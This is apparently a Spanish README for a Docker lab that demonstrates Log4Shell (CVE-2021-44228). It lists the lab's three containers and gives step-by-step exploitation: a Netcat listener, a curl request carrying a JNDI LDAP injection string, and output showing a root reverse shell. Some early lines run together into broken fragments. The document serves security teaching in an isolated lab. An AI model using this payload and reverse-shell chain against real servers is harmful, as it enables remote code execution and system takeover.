
Laboratorio automatizado Plug & Play en Docker para auditar y estudiar la vulnerabilidad Log4Shell (CVE-2021-44228)
Un laboratorio de investigación de seguridad automatizado, de un solo comando, diseñado para demostrar y auditar la vulnerabilidad de Ejecución Remota de Código (Log4Shell (CVE-2021-44228)).
Este proyecto consolida todos los componentes necesarios (aplicación vulnerable, servidor malicioso de referencia LDAP y herramientas del atacante) en una infraestructura de red unificada y aislada mediante Docker Compose.
.env ni alineación de red. Todo se resuelve automáticamente mediante el DNS interno de Docker.UnsupportedClassVersionError.configurar.sh) que automatiza el derribo de contenedores, la limpieza de caché y las reconstrucciones.El laboratorio crea una red puente aislada (red-log4shell) con tres actores clave:
web-vulnerable): Una aplicación web Spring Boot que utiliza una versión sin mitigar y vulnerable de Log4j (2.14.1) ejecutándose en Java 8u111.ldap-malicioso): Impulsado por marshalsec para interceptar las solicitudes de búsqueda entrantes y redirigir dinámicamente a la víctima al payload del atacante.kali-tools): Un contenedor personalizado de Kali Linux que aloja un servidor HTTP de Python para entregar el payload de explotación compilado (Exploit.class) y un listener de Netcat para capturar la reverse shell.Para desplegar este laboratorio en cualquier máquina Linux con Docker instalado, ejecute los siguientes comandos en su terminal:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 Cómo Explotar (Paso a Paso)
Una vez que la infraestructura esté funcionando automáticamente mediante el script, siga estos pasos para disparar el exploit y capturar la reverse shell. Paso 1: Configurar el Listener de Netcat
Abra una nueva terminal en su máquina host (Ubuntu) y conéctese al contenedor del atacante para poner a Netcat en espera de conexiones entrantes: Bash
sudo docker exec -it kali-tools bash
Dentro del contenedor Kali, inicie el listener: Bash
nc -lvnp 4444
Verá el mensaje: listening on [any] 4444 ... Paso 2: Lanzar el Vector de Ataque
Abra otra terminal separada en su máquina host y envíe la cadena de inyección JNDI maliciosa incrustada dentro de la cabecera X-Api-Version: Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Paso 3: Verificar la Reverse Shell
Vuelva a su terminal de Netcat. Debería ver una conexión activa. Ahora puede ejecutar comandos como root dentro del servidor víctima: Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
Este repositorio se crea estrictamente con fines educativos, de investigación de seguridad y auditoría académica autorizada. Nunca ejecute estas herramientas o infraestructura de ataque sin autorización previa y por escrito de los propietarios de la infraestructura.